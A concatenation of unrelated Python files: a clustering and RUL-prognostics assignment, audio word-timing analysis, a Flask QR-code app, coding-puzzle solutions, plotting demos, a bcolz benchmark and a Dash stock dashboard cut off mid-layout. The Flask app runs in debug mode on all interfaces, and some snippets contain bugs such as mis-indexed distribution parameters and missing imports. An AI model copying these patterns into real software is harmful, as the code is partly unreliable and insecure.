from sklearn.cluster import KMeans, AgglomerativeClustering
import scipy.stats as ss
import seaborn as sns
import matplotlib.pyplot as plt
import math
import numpy as np
import json
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)

def visualize_data(data_dict, train):
    fig, ax = plt.subplots(1, figsize=(15, 15))
    for i in range(len(data_dict)):
        if train:
            x = np.array(data_dict[f'a{i + 1}']['strains']).squeeze()
        else:
            x = np.array(data_dict[f'te_a{i + 1}']['strains']).squeeze()
        ax.plot(x, label=f'specimens a{i + 1}')

    ax.set_xlabel('time steps')
    ax.set_ylabel('strains')
    ax.legend(loc='upper left')
    if train:
        fig.suptitle('Training raw data')
    else:
        fig.suptitle('Testing raw data')
    plt.savefig('raw_data.png')

def plot_elbow(wcss):
    """
    Plot elbow method for k-means clustering
    :param wcss: List of 13 elements (from n_clusters=3 to n_clusters=15)
    :return: None
    """
    plt.figure()
    K = range(3, 16)
    plt.plot(K, wcss, 'bx-')
    plt.savefig('elbow.png')

def visualize_cluster_results(train_dict, n_clusters):
    """
    :param train_dict: dictionary with keys a1, a2, ..., a6 where the values are the clusters
    :param n_clusters: int (optional for using)
    :return:
    """

    """ TODO:
        Your code goes here
    """
    fig, ax = plt.subplots(1, figsize=(7, 7))
    for i in range(len(train_dict)):
        stepfunc = train_dict[f'a{i + 1}']
        stepfunc = np.array(stepfunc)
        stepfunc = stepfunc.flatten() + 1
        ax.plot(stepfunc, label=f'specimen a{i + 1}')

    ax.set_xlabel('time steps')
    ax.set_ylabel('clusters')
    ax.legend(loc='upper left')
    fig.suptitle('Sojourn time distributions')
    plt.savefig('Sojourn_distributions.png')

def plot_distributions(sjrn_t, n_clusters):
    plt.rcParams.update({'font.size': 14})
    exit = False
    if n_clusters < 4:
        cols = n_clusters
    else:
        cols = 4
    fig, ax = plt.subplots(
        nrows=int(math.ceil(n_clusters / cols)),
        ncols=cols, figsize=(25, 30),
        squeeze=False)
    indx = 0
    for i in range(int(math.ceil(n_clusters/cols))):
        for j in range(cols):
            sns.kdeplot(sjrn_t[:, indx], ax=ax[i, j])
            ax[i, j].set_title(f'Cluster {indx + 1}')
            ax[i, j].ticklabel_format(axis="y", style="sci", scilimits=(0, 0))
            indx += 1
            if indx == n_clusters:
                exit = True
                break
        if exit:
            break
    plt.subplots_adjust(hspace=0.4)
    plt.savefig('distributions.png')

def plot_fitted_and_initial_distributions(sjrn_t, n_clusters, dist_param_list):
    exit = False
    if n_clusters < 4:
        cols = n_clusters
    else:
        cols = 4
    fig, ax = plt.subplots(
        nrows=int(math.ceil(n_clusters / cols)),
        ncols=cols, figsize=(25, 20),
        squeeze=False)
    indx = 0
    for i in range(int(math.ceil(n_clusters/cols))):
        for j in range(cols):
            sns.kdeplot(sjrn_t[:, indx], ax=ax[i, j])

            c, loc, scale = dist_param_list[i]
            samples = ss.weibull_min.rvs(c, loc=loc, scale=scale, size=1000)
            sns.kdeplot(samples, ax=ax[i, j])
            ax[i, j].set_title(f'Cluster {indx + 1}')
            ax[i, j].ticklabel_format(axis="y", style="sci", scilimits=(0, 0))
            indx += 1
            if indx == n_clusters:
                exit = True
                break
        if exit:
            break
    plt.subplots_adjust(hspace=0.4)
    plt.savefig('fitted_initial_distributions.png')

def train(train_dict, data_dict, n_clusters, cluster_method, linkage):
    # use experiments a1 - a6 for training, a7-a8 for testing (named as te_a1, te_a2)

    x_train = []
    if cluster_method == 'kmeans':
        wcss = []
        for i in range(len(train_dict)):
            x_train.extend(data_dict[f'a{i + 1}']['strains'])
    else:  # in Agglomerative all samples should be used
        for i in range(len(data_dict)):
            if i < 6:
                x_train.extend(data_dict[f'a{i + 1}']['strains'])
            else:
                x_train.extend(data_dict[f'te_a{i + 1 - 6}']['strains'])
    x_train = np.array(x_train).squeeze().reshape(-1, 1)

    if cluster_method == 'kmeans':
        x_train = np.sort(x_train.reshape(-1))

        # Clustering using k-means, to check the optimal n_clusters with the elbow method (WCSS)
        # multiple k-means should be run in a loop, then you can plot the elbow (see plot_elbow() function defined above).
        # When you finish don't forget to remove the loop and comment again the plot_elbow(wcss) call...

        cluster_model = KMeans(n_clusters=n_clusters, n_init=10).fit(x_train.reshape(-1, 1))
        wcss.append(cluster_model.inertia_)
        # plot_elbow(wcss)

        _, indx = np.unique(cluster_model.labels_, return_index=True)
        lookup_labels = [cluster_model.labels_[i] for i in sorted(indx)]
    else:
        # Clustering using Agglomerative
        # Initialize and fit the clustering model using sklearn
        # The hyperparameters to use are the number of clusters and the linkage method
        cluster_model = AgglomerativeClustering(n_clusters=n_clusters, linkage=linkage)
        cluster_model = cluster_model.fit(x_train)
        lookup_labels = cluster_model.labels_

        """ TODO:
            Your code goes here
        """

    return cluster_model, lookup_labels, n_clusters

def predict(cluster_model, lookup_labels, data_dict, cluster_method, train):
    if train:
        clusters_dict = {f'a{i + 1}': [] for i in range(6)}
    else:
        clusters_dict = {f'te_a{i + 1}': [] for i in range(2)}

    for i in range(len(data_dict)):
        if cluster_method == 'kmeans':
            if train:
                pred = cluster_model.predict(
                    np.array(data_dict[f'a{i + 1}']['strains']).squeeze().reshape(-1, 1))
            else:
                pred = cluster_model.predict(
                    np.array(data_dict[f'te_a{i + 1}']['strains']).squeeze().reshape(-1, 1))
            labels = []
            for j in range(len(pred)):
                labels.append(np.where(lookup_labels == pred[j])[0])
            if train:
                clusters_dict[f'a{i + 1}'].extend(sorted(labels))
            else:
                clusters_dict[f'te_a{i + 1}'].extend(sorted(labels))
        else:
            if train:
                labels = cluster_model.fit_predict(
                    np.array(data_dict[f'a{i + 1}']['strains']).squeeze().reshape(-1, 1))
                clusters_dict[f'a{i + 1}'].extend(sorted(labels))
            else:
                labels = cluster_model.fit_predict(
                    np.array(data_dict[f'te_a{i + 1}']['strains']).squeeze().reshape(-1, 1))
                clusters_dict[f'te_a{i + 1}'].extend(sorted(labels))

    return clusters_dict

def sojourn_times(labels_dict, n_clusters, time_steps, train):
    """
    :param labels_dict: dictionary of cluster labels for each specimen
    For training, labels_dict has keys a1, a2, a3, a4, a5, a6, for testing it has keys te_a1, te_a2
    :param n_clusters: int --> number of clusters
    :param time_steps: int --> !!! don't forget the sojourn times should be measured in cycles not in steps !!!
    :param train: bool --> whether we are in training or testing phase (for naming the dictionary keys accordingly)
    :return: sojourn times array of shape [specimens, n_clusters] where specimens=train specimens for training, specimens=testing specimens for testing
    """

    # shape of sojourn times :  [specimens, n_clusters]
    sjrn_t = np.zeros((len(labels_dict), n_clusters))
    for i in range(len(labels_dict)):
        if train:
            labels = labels_dict[f'a{i + 1}']
        else:
            labels = labels_dict[f'te_a{i + 1}']
        for j in range(n_clusters):
            sjrn_t[i, j] = labels.count(j)
        sjrn_t[i, :] *= time_steps  # rescale to cycles
    sjrn_t[np.where(sjrn_t == 0)] = time_steps
    return sjrn_t

def fit_distribution_per_cluster(sojourn_times):
    dist = ss.weibull_min
    dist_param = []
    for i in range(sojourn_times.shape[1]):
        # store a tuple of parameters in order (if applicable): (shape, loc, scale)
        dist_param.append(dist.fit(sojourn_times[:, i], floc=0))
    return dist_param

def create_pdf_samples(dist_param_list, n_clusters):
    samples = []
    for i in range(n_clusters):
        c, loc, scale = dist_param_list[i]
        samples.append(np.sort(ss.weibull_min.rvs(c, loc=loc, scale=scale, size=10)))
    return samples

def rul_estimation(samples, data_clusters, sojourn_times, time_steps, n_clusters):
    """
    :param samples: List of np.array, the samples generated from the fitted distributions for each cluster
    :param data_clusters: dictionary of cluster labels for each specimen for testing phase (has keys te_a1, te_a2)
    :param sojourn_times: np.array of shape [test specimens, n_clusters]
    :param time_steps: int
    :param n_clusters: int
    :return: dictionary of rul estimations for each specimen
    """

    ruls = {f'te_a{i + 1}': {'mean_rul': []} for i in range(len(data_clusters))}

    for i in range(len(ruls)):
        prev = 0
        for j in range(n_clusters):
            time = np.arange(0, sojourn_times[i, j], time_steps)
            tot_rul = np.zeros((samples[j].shape[0]))
            rul = np.zeros((time.shape[0]))
            for k in range(j, n_clusters):
                tot_rul += samples[k]
            tot_mean = tot_rul.mean()
            for k in range(time.shape[0]):
                rul[k] = tot_mean - time[k]

            ruls[f'te_a{i + 1}']['mean_rul'].extend(rul)
            prev += sojourn_times[i, j]
    return ruls

def visualize_rul(test_dict, pred_rul_dict, time_steps):
    """
    Function to visualize the test RUL estimations for the specimens te_a1 and te_a2.
    Feel free to use any variable you want from the main function.
    :return: None
    """
    fig, ax = plt.subplots(1, 2, figsize=(23, 35), squeeze=False)
    indx = 0
    for i in range(1):
        for j in range(2):
            true_rul = np.array(test_dict[f'te_a{indx + 1}']['ruls']).squeeze()
            pred_rul = np.array(pred_rul_dict[f'te_a{indx + 1}']['mean_rul']).squeeze()
            x = np.arange(0, true_rul[0] + time_steps, time_steps)
            if pred_rul.shape[0] != true_rul.shape[0]:
                diff = pred_rul.shape[0] - true_rul.shape[0]
                pred_rul = np.delete(pred_rul, obj=-np.arange(diff))
            ax[i, j].plot(x, true_rul, linestyle='dashed', color='black', label='True RUL')
            ax[i, j].plot(x, pred_rul, color='blue')
            ax[i, j].ticklabel_format(axis="y", style="sci", scilimits=(0, 0))
            ax[i, j].set_xlabel('time steps')
            ax[i, j].set_ylabel('RUL')
            ax[i, j].set_title(f'Test specimen te_{indx + 1}')
            indx += 1
            ax[i, j].legend()
    fig.suptitle('Mean RUL predictions for train-test specimens')
    plt.savefig('rul_predictions.png')
    return None

def rul_estimation_with_uncertainty(samples, data_clusters, sojourn_times, time_steps, n_clusters):
    """

    :param samples: List of np.array, the samples generated from the fitted distributions for each cluster
    :param data_clusters: dictionary of cluster labels for each specimen for testing phase (has keys te_a1, te_a2)
    :param sojourn_times: np.array of shape [test specimens, n_clusters]
    :param time_steps: int
    :param n_clusters: int
    :return: dictionary of rul estimations for each specimen for mean, min and max of RUL corresponding to 95% confidence interval
    """

    # Hint: use scipy.stats.bootstrap (read the docs!) to estimate the confidence intervals by feeding the samples as input

    ruls = {f'te_a{i + 1}': {'mean_rul': [], 'min_rul': [], 'max_rul': []}
            for i in range(len(data_clusters))}

    for i in range(len(ruls)):
        """ TODO:
            Your code goes here
        """

    return ruls

def visualize_rul_with_uncertainty(test_dict, pred_rul_dict, time_steps):
    """
    Function to visualize the test RUL estimations for the specimens te_a1 and te_a2 with uncertainty.
    Feel free to use any variable you want from the main function.
    """

    """ TODO: OPTIONAL
        Your code goes here:
    """

    return None

def mse_loss(test_dict, pred_rul_dict):
    """
    :param test_dict: Nested dictionary with true RUL data
    :param pred_rul_dict: Nested dictionary with predicted RUL data
    :return: MSE loss
    """
    # Hint: Check the format of the dictionaries (nested dicts) and convert it to numpy array)
    actual_1 = np.array(test_dict['te_a1']['ruls'])
    mean_1 = np.array(pred_rul_dict['te_a1']['mean_rul'])
    actual_2 = np.array(test_dict['te_a2']['ruls'])
    mean_2 = np.array(pred_rul_dict['te_a2']['mean_rul'])
    # se1 = 0.0
    # se2 = 0.0
    # for i in range(len(mean_1)):
    #     se1_i = (actual_1[i] - mean_1[i])**2
    #     se1 = se1 + se1_i
    # for i in range(len(mean_2)):
    #     se2_i = (actual_2[i] - mean_2[i])**2
    #     se2 = se2 + se2_i
    se1 = np.sum((actual_1 - mean_1)**2)
    se2 = np.sum((actual_2 - mean_2)**2)
    mse = ((se1 / len(mean_1))**0.5 + (se2 / len(mean_2))**0.5) / 2

    """ TODO:
        Your code goes here
    """
    return mse

if __name__ == '__main__':
    print("Code running...\n")

    time_steps = 50  # every 50 seconds is one step, it's easier to use time steps, then convert to seconds for the results phase

    cluster_algorithm = ['kmeans', 'agglomerative']

    # Part 1: Clustering
    print('\n Part 1: Clustering')
    print('\n 1. Load two json files, the train.json and test.json for the training and testing data.'
          '\n 6 specimens for training and 2 for testing. Then, visualize the dataset.')
    input("\n Proceed ? Press any button to continue... ")

    # load from json
    # Train dictionary with keys: 'a1', 'a2', 'a3', 'a4', 'a5', 'a6' for the first 6 specimens
    with open('data/train.json', 'r') as fp:
        train_dict = json.load(fp)
    # Test dictionary with keys: 'te_a1', 'te_a2' for the remaining 2 specimens
    with open('data/test.json', 'r') as fp:
        test_dict = json.load(fp)

    # Stack together train, test dictionaries for utilization in the next steps
    data_dict = {}
    data_dict.update(train_dict)
    data_dict.update(test_dict)

    visualize_data(train_dict, train=True)
    visualize_data(test_dict, train=False)

    # 2. Create clusters using a training set
    print('\n 2. Create clusters using a training set')
    input("\n Proceed ? Press any button to continue... ")
    while True:
        choose_algo = input(
            '\n 2. Please choose a clustering algorithm from [K-means, Agglomerative]. Type "0" for Kmeans, "1" for Agglomerative : ')
        if choose_algo in ['0', '1']:
            break
        else:
            print('\n Wrong value given. Please choose one of the available clustering algorithms ( type 0 or 1)')

    cluster_method = cluster_algorithm[int(choose_algo)]

    if int(choose_algo) == 0:
        while True:
            n_clusters = input(
                '\n 3. Please enter the number of clusters for K-means in range [3, 15] : ')
            if 3 <= int(n_clusters) <= 15:
                break
            else:
                print(
                    '\n Number of clusters is out of the given range. Please make sure the number you typed belongs to the desired range')
        n_clusters = int(n_clusters)
        linkage = None
    else:
        while True:
            n_clusters = input(
                '\n 3. Please enter the number of clusters for Agglomerative in range [3, 15] : ')
            if 3 <= int(n_clusters) <= 15:
                break
            else:
                print(
                    '\n Number of clusters is out of the given range. Please make sure the number you typed belongs to the desired range')
        n_clusters = int(n_clusters)
        while True:
            linkage = input(
                "\n Please define the hyperparameter linkage for Agllomerative algorithm. "
                "Choose between {'ward', 'complete', 'average'} : ")
            if linkage in ['ward', 'complete', 'average']:
                break
            else:
                print(
                    '\n The given linkage method is not available. Please make sure you typed the method correctly.')

    # Build the cluster model
    cluster_model, lookup_labels, n_clusters = train(
        train_dict, data_dict, n_clusters, cluster_method, linkage)

    # Part 2: Sojourn time distributions
    print('\n Part 2: Sojourn time distributions')
    input("\n Proceed ? Press any button to continue... ")

    # Store on dictionaries the corresponding labels where the raw data were clustered
    train_labels_dict = predict(cluster_model, lookup_labels,
                                train_dict, cluster_method, train=True)
    test_labels_dict = predict(cluster_model, lookup_labels, test_dict, cluster_method, train=False)

    # 1. Degradation history for each training specimen in terms of label (cluster) sequence
    print('\n 1. Degradation history for each training specimen in terms of label (cluster) sequence')

    visualize_cluster_results(train_labels_dict, n_clusters=n_clusters)

    # 2. Identifying sojourn times at each cluster for each training specimen
    print('\n 2. Identifying sojourn times at each cluster for each training specimen')
    train_sojourn_time_arr = sojourn_times(train_labels_dict, n_clusters, time_steps, train=True)

    # 3.Plot probability distributions on sojourn times
    print('\n 3. Fitting probability distributions on sojourn times')
    plot_distributions(train_sojourn_time_arr, n_clusters)

    # 5. Output
    print('\n 5. Output')
    # fit the chosen family of distributions to the sojourn times
    train_dist_param_list = fit_distribution_per_cluster(train_sojourn_time_arr)
    # generate samples of the fitted distributions
    samples = create_pdf_samples(train_dist_param_list, n_clusters)

    # 6. Plot at the same graph the fitted distributions and the initial pdf of sojourn times
    print('\n 6. Plot at the same graph the fitted distributions and the initial pdf of sojourn times')
    plot_fitted_and_initial_distributions(train_sojourn_time_arr, n_clusters, train_dist_param_list)

    # Part 3: Prognostics
    print('\n Part 3: Prognostics')
    input("\n Proceed ? Press any button to continue... ")

    # 1. Use the tesing data to create the test sojourn times
    print('\n 1. Use the tesing data to create the test sojourn times')

    test_sojourn_time_arr = sojourn_times(test_labels_dict, n_clusters, time_steps, train=False)

    # 2. Calculate the RUL for each testing specimen
    print('\n 2. Calculate the RUL for each testing specimen')
    test_pred_rul_dict = rul_estimation(
        samples, test_labels_dict, test_sojourn_time_arr, time_steps, n_clusters)

    # 3. Visualize the RUL for each testing specimen
    print('\n 3. Visualize the RUL for each testing specimen')
    visualize_rul(test_dict, test_pred_rul_dict, time_steps)

    # Part 4: Error calculation
    print('\n 4. Error calculation ')
    input("\n Proceed ? Press any button to continue... ")

    test_mse = mse_loss(test_dict, test_pred_rul_dict)
    print(f"\n MSE loss for testing is {round(test_mse, 4)}")

    # Part 5. Optional task: Write a script able to predict not only the mean RUL but also the related X% confidence intervals (CIs) of a testing specimen
    # and plot the estimated mean RUL values versus the actual RUL (y-axis: mean RUL, 95% CIs, actual RUL/ x-axis: timestep).

    print('\n 5. Optional task: Write a script able to predict not only the mean RUL but also the related X% confidence intervals (CIs) of a testing specimen '
          'and plot the estimated mean RUL values versus the actual RUL (y-axis: mean RUL, 95% CIs, actual RUL/ x-axis: timestep).')

    test_pred_rul_dict = rul_estimation_with_uncertainty(
        samples, test_labels_dict, test_sojourn_time_arr, time_steps, n_clusters)

    visualize_rul_with_uncertainty(test_dict, test_pred_rul_dict, time_steps)


# -*- coding: utf-8 -*-
""" Gather files with manually adjusted word times and compare
--------------------------------------------------------------

Created on Tue Mar  7 08:59:01 2023
@author: gfraga
"""
import pandas as pd
import glob as glob
import matplotlib.pyplot as plt
import os
from scipy.io import wavfile
import numpy as np

# directories
diraudio = 'V:/spinco_data/AudioGens/tts-golang-48000hz'
dirtimes = 'V:/spinco_data/AudioGens/tts-golang-48000hz-word_times'
diroutput = 'V:/spinco_data/AudioGens/tts-golang-48000hz-word_times'
os.chdir(diroutput)

# gather files with times
files = glob.glob(dirtimes + '/*Times.csv',recursive = True)

#%% Concatenate frames
df=[]
df = pd.concat([pd.read_csv(fileinput) for fileinput in files],ignore_index= True)
# some correction in the 'file' columns for consistency
df.file = df.file.str.replace('-manual','')
df.file = df.file.str.replace('-man','')
df.file = df.file.str.replace('.manual','')

# %% average across raters

dfmean = df.groupby('file').mean().reset_index()
dfmean['rater']= 'mean'

#save average
dfmean.to_csv(diroutput + '/MEAN_tts-golang-selected_wordTimes.csv',index=False)
# merge
df = pd.concat([df,dfmean],keys='rater',ignore_index=True)

# %% plots
# LINEPLOTS. FILES IN X AXIS.
ynames = df.filter(regex='^token|.*Sound.*').columns

for yvar in ynames:
    fig, ax = plt.subplots()
    for rater, group in df.groupby('rater'):
        ax= group.plot(ax= ax , x='file', y=yvar,label=rater)
        plt.xlabel('File')
        plt.ylabel(yvar)
        plt.title( yvar + ' by Rater')
        plt.legend()
        plt.show()
        plt.xticks(rotation=20)
    plt.savefig('COMPARE_' + yvar + '.jpg')
    plt.close()

# %% Plot soundwave

ynames = df.filter(regex='^token|.*Sound.*').columns
colormap= ['red','blue','green','black'] # color map for each rater

for n,file in enumerate(df.file.unique()):
    rate, data = wavfile.read(diraudio + '/' + file.replace('TextGrid', 'wav'))
    time = np.arange(len(data)) / rate
    print(n)
    fig, axes = plt.subplots(nrows=len(df.rater.unique()), ncols=1, figsize=(8, 4*len(df.rater.unique())), sharex=True)

    for i, (rater, group) in enumerate(df.groupby('rater')):
        ax = axes[i]
        ax.plot(time, data, color='lightgray') # waveform
        for yvar in ynames:
            val = group.loc[group['file'] == file][yvar].to_numpy()[0]
            ax.axvline(x=val, color=colormap[i])
        ax.set_title(f'{file}_rater_{rater}')

    plt.subplots_adjust(hspace=0.3)
    plt.xlabel('Time (s)')
    # save
    manager = plt.get_current_fig_manager()
    manager.full_screen_toggle()
    plt.savefig(file + '.jpg')
    plt.close()


# Import the necessary modules
from flask import Flask, render_template, request
from qrcode import make
import re

# Create a flask app
app = Flask(__name__)

# Define a route for the home page
@app.route("/")
def index():
    # Render the index.html template
    return render_template("index.html")

# Define a route for the generate page
@app.route("/generate", methods=["POST"])
def generate():
    # Get the input from the form
    input = request.form.get("input")

    # Make a QR code from the input
    qr = make(input)

    # Replace any non-alphanumeric characters in the input with underscores
    file_name = re.sub(r"\W+", "_", input)

    # Save the QR code as an image file with the input as the file name
    qr.save(f"static/{file_name}.png")

    # Render the generate.html template with the input and the QR code image
    return render_template("generate.html", input=input, qr=f"static/{file_name}.png")

# Run the app in debug mode
if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=True)


# 0347: top k frequent elements
# It's ok to push a key value pair into a heap
#
# We are comparing by frequency items[key], so that it put at the front.
# heapq.heappush(heapName, [stuff to put, could be tuples])
#
# for key in items:
#   heapq.heappush(heap, (-items[key], key))

class Solution:
    def topKFrequent(self, nums: List[int], k: int) -> List[int]:
        items = {}

        # Create a dict that stores num : frequency pair
        for item in nums:
            if item in items:
                items[item] += 1
            else:
                items[item] = 1

        heap = []

        # Create a max heap (negated) with the "value, key pair"
        for key in items:
            heapq.heappush(heap, (-items[key], key))

        # the res array catches all the popped elements
        res = []
        for _ in range(k):
            popped = heapq.heappop(heap)
            res.append(popped[1])

        return res

        '''
        # Now, max heapify this dict according to values
        heap_items = []
        for i in items.values():
            heap_items.append(i)
        heapq.heapify(heap_items)

        # poll k times and return the key with that frequency
        for j in range(k - 1):
            heappop(heap_items)
        target = heappop(heap_items)
        return items.keys()[items.values().index(target)]
        '''


print("====================marksheet===================")
print("do you want marksheet \n press y or Y if yes ")
choice=input("Enter your choice")
if (choice == 'y' or choice=='Y'):
    print("Enter subject marks:")
    marks1 = int(input("Enter marks in nepali:"))
    marks2 = int(input("Enter marks in english:"))
    marks3 = int(input("Enter marks in math:"))
    marks4 = int(input("Enter marks in science:"))
    marks5 = int(input("Enter marks in population:"))
    total_marks_obtained = marks1 + marks2 + marks3 + marks4 + marks5
    full_marks = 500
    if marks1 > 100 or marks2 > 100 or marks3 > 100 or marks4 > 100 or marks5 > 100:
        print("Invalid!!! Enter Data Again")
    else:
        percentage = total_marks_obtained / full_marks * 100
        if percentage < 35:
            print("fail")
        else:
            if percentage >= 35 and percentage <= 45:
                print("pass")
            elif percentage > 45 and percentage <= 60:
                print("second")
            elif percentage > 60 and percentage <= 75:
                print("first")
            else:
                print("top")


import pygame, time, sys
from intValues import *
from pygame.locals import *
from Functions.update_game import update_game
from Assets.load_textures import *

if raspberry:
    from Functions.Server.client import *

pygame.init()
win = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption("Projet ISN")

count = 0

# Mainloop
run = True

# HORLOGE
clock = pygame.time.Clock()

while run:

    clock.tick(TICKRATES)

    keys = pygame.key.get_pressed()

    for event in pygame.event.get():
        if event.type == QUIT or keys[pygame.K_END] or keys[pygame.K_DELETE]:
            run = False

    update_game(win, count, 0)
    #   update server each second
    if count >= 120:
        count = 0
    else:
        count += 1

if raspberry:
    time.sleep(1)
    msgx = "escape"
    Sock.send(msgx.encode())

pygame.quit()
sys.exit()


import sys

game, win = map(int,sys.stdin.readline().split())
comp = int(win*100/game)
res = -1
l, r = 1, 1000000000

while l<=r and comp != 100:
    mid = (l+r)//2
    a, b = game+mid, win+mid
    ans = int(b*100/a)

    if ans > comp:
        r = mid-1
        res = mid
    elif ans == comp:
        l = mid+1
print(res)


count = 0
text_file = open("input.txt", "r")
lines = text_file.readlines()
j = 1
l = 0
for i in range(0,len(lines)):
    line = lines[i].strip()
    if i == 0 :
        l = len(line)
        print(l)
    else :
        j += 3
        if j > l:
            print(str(j) + "-> " + str(j % l))
            j = j % l
        print(line[j-1])
        if line[j-1] == "#":
            count += 1
print("Final count: " + str(count))


import numpy as np
import matplotlib.pyplot as plt

mu, sigma = 115, 15
x = mu + sigma * np.random.randn(10000)
fig, ax = plt.subplots(figsize=(5, 2.7), layout='constrained')
# the histogram of the data
n, bins, patches = ax.hist(x, 50, density=True, facecolor='C0', alpha=0.75)

ax.set_xlabel('Length [cm]')
ax.set_ylabel('Probability')
ax.set_title('Aardvark lengths\n (not really)')
ax.text(75, .025, r'$\mu=115,\ \sigma=15$')
ax.axis([55, 175, 0, 0.03])
ax.grid(True)
# t = ax.set_xlabel('my data', fontsize=14, color='red')

fig, ax = plt.subplots(figsize=(5, 2.7))

t = np.arange(0.0, 5.0, 0.01)
s = np.cos(2 * np.pi * t)
line, = ax.plot(t, s, lw=2)
ax.annotate('local max', xy=(2, 1), xytext=(3, 1.5), arrowprops=dict(facecolor='black', shrink=0.05))
ax.set_ylim(-2, 2)

data1, data2, data3, data4 = np.random.randn(4, 100)  # make 4 random data sets
fig, ax = plt.subplots(figsize=(5, 2.7))
ax.plot(np.arange(len(data1)), data1, label='data1')
ax.plot(np.arange(len(data2)), data2, label='data2')
ax.plot(np.arange(len(data3)), data3, 'd', label='data3')
ax.legend()

plt.show()


N_K = list(map(int, input().split()))
N = N_K[0]
K = N_K[1]
coins= []
for i in range(N):
    coin = int(input())
    coins.append(coin)
count = 0
for i in reversed(range(N)):
    count += K // coins[i]
    K = K % coins[i]
print(count)


# Benchmark for assessing the `fromiter()` speed.

from time import time

import numpy as np
from numpy.testing import assert_array_equal

import bcolz
from bcolz.py2help import xrange, izip

N = int(1e6)  # the number of elements in x
clevel = 2  # the compression level

print("Creating inputs with %d elements..." % N)

x = xrange(N)  # not a true iterable, but can be converted
y = xrange(1, N + 1)
z = xrange(2, N + 2)

print("Starting benchmark now for creating arrays...")
# Create a ndarray
# x = (i for i in xrange(N))    # true iterable
t0 = time()
out = np.fromiter(x, dtype='f8', count=N)
print("Time for array--> %.3f" % (time() - t0,))
print("out-->", len(out))

#bcolz.set_num_threads(bcolz.ncores//2)

# Create a carray
#x = (i for i in xrange(N))    # true iterable
t0 = time()
cout = bcolz.fromiter(x, dtype='f8', count=N, cparams=bcolz.cparams(clevel))
print("Time for carray--> %.3f" % (time() - t0,))
print("cout-->", len(cout))
assert_array_equal(out, cout, "Arrays are not equal")

# Create a carray (with unknown size)
#x = (i for i in xrange(N))    # true iterable
t0 = time()
cout = bcolz.fromiter(x, dtype='f8', count=-1, cparams=bcolz.cparams(clevel))
print("Time for carray (count=-1)--> %.3f" % (time() - t0,))
print("cout-->", len(cout))
assert_array_equal(out, cout, "Arrays are not equal")

# Retrieve from a structured ndarray
gen = ((i, j, k) for i, j, k in izip(x, y, z))
t0 = time()
out = np.fromiter(gen, dtype="f8,f8,f8", count=N)
print("Time for structured array--> %.3f" % (time() - t0,))
print("out-->", len(out))

# Retrieve from a ctable
gen = ((i, j, k) for i, j, k in izip(x, y, z))
t0 = time()
cout = bcolz.fromiter(gen, dtype="f8,f8,f8", count=N)
print("Time for ctable--> %.3f" % (time() - t0,))
print("out-->", len(cout))
assert_array_equal(out, cout[:], "Arrays are not equal")

# Retrieve from a ctable (with unknown size)
gen = ((i, j, k) for i, j, k in izip(x, y, z))
t0 = time()
cout = bcolz.fromiter(gen, dtype="f8,f8,f8", count=-1)
print("Time for ctable (count=-1)--> %.3f" % (time() - t0,))
print("out-->", len(cout))
assert_array_equal(out, cout[:], "Arrays are not equal")


from iexcloud.iexcloud import iexCloud
from parameters import engine_string
from db_ingestion.models import Tickers
import pandas as pd
#import dash
from dash import dcc
from dash import html
import dash_bootstrap_components as dbc
from dash.dependencies import Input
from dash.dependencies import Output
import plotly.express as px
import plotly.graph_objs as go
from django_plotly_dash import DjangoDash
from searchstocks.views import read_ticker_symbols
from searchstocks.views import get_symbols
from searchstocks.views import get_sectors
from searchstocks.views import dropdown_values
from searchstocks.views import colormap_value
from searchstocks.views import stock_information
from searchstocks.views import get_company_stats

##############################################################################################
#Parameters and instantiating classes
obj_iexcloud = iexCloud()
external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']
app = DjangoDash('searchstocks', external_stylesheets=external_stylesheets)

# def read_ticker_symbols():
#     try:
#         df_tickers = pd.read_sql('SELECT * FROM db_ingestion_tickers;', engine_string)
#         df_tickerstats = pd.read_sql('SELECT * FROM db_ingestion_tickerstats', engine_string)
#         df = pd.merge(df_tickers, df_tickerstats, how='inner', on='Symbol')
#         return df
#     except Exception as e:
#         print(str(e))

# def get_symbols():
#     dropdown_options = []
#     df = read_ticker_symbols()
#     for index, row in df.iterrows():
#         dropdown_options.append({'label': row['Name'], 'value': row['Symbol']})
#     return dropdown_options

# def get_sectors():
#     dropdown_options = []
#     df = read_ticker_symbols()
#     sector_lst = list(df['Sector'].unique())
#     for i in sector_lst:
#         dropdown_options.append({'label':i, 'value':i})
#     return dropdown_options

# def dropdown_values(column_name):
#     dropdown_options = []
#     df = read_ticker_symbols()
#     lst = list(df[column_name].unique())
#     for i in lst:
#         dropdown_options.append({'label':i, 'value':i})
#     return dropdown_options

# def colormap_value(table_name, range):
#     try:
#         df_colormaps = pd.read_sql(f'SELECT * FROM db_ingestion_{table_name}_colormaps;', engine_string)
#         df_colormaps = df_colormaps[df_colormaps['Metric'] == range]
#         print(df_colormaps)

#         color = df_colormaps['Color'].iloc[0]
#         return color
#     except Exception as e:
#         print(str(e))

# def stock_information(ticker, metric):
#     df_tickerstats = pd.read_sql(f'SELECT * FROM db_ingestion_tickerstats', engine_string)
#     df_tickerstats = df_tickerstats[df_tickerstats['Symbol'] == ticker]

#     if metric == 'marketcap':
#         updated_metric = 'Market Capitalization Ranges'
#     if metric == 'dividend':
#         updated_metric = 'Dividend Ranges'
#     if metric == 'ebitda':
#         updated_metric = 'EBITDA Ranges'
#     if metric == 'peratio':
#         updated_metric = 'PE Ratio Ranges'
#     if metric == 'revenue':
#         updated_metric = 'Revenue Ranges'

#     range = df_tickerstats[updated_metric].iloc[0]

#     return range

# def get_company_stats():
#     try:
#         df = pd.read_sql(f'SELECT * FROM db_ingestion_tickerstats', engine_string)
#     except Exception as e:
#         print(str(e))

#     return df

##############################################################################################

#App layout
app.layout = html.Div([
    dcc.Dropdown(id='stockselector',
                options=get_symbols(),
                multi=True,
                value = [],
                clearable = True,
                placeholder="Companies listed on S&P500",
                style={'backgroundColor': '#1E1E1E'}),

    dcc.Dropdown(id='sectorselector',
                options=get_sectors(),
                multi=True,
                clearable = True,
                value = [],
                placeholder="Sectors listed on S&P500",
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.RadioItems(
        id='colormap',
        options=[
            {'label': 'Market Capitalization Ranges', 'value': 'marketcap'},
            {'label': 'Dividend Ranges', 'value': 'dividend'},
            {'label': 'PE Ratio Ranges', 'value': 'peratio'},
            {'label': 'Revenue Ranges', 'value': 'revenue'},
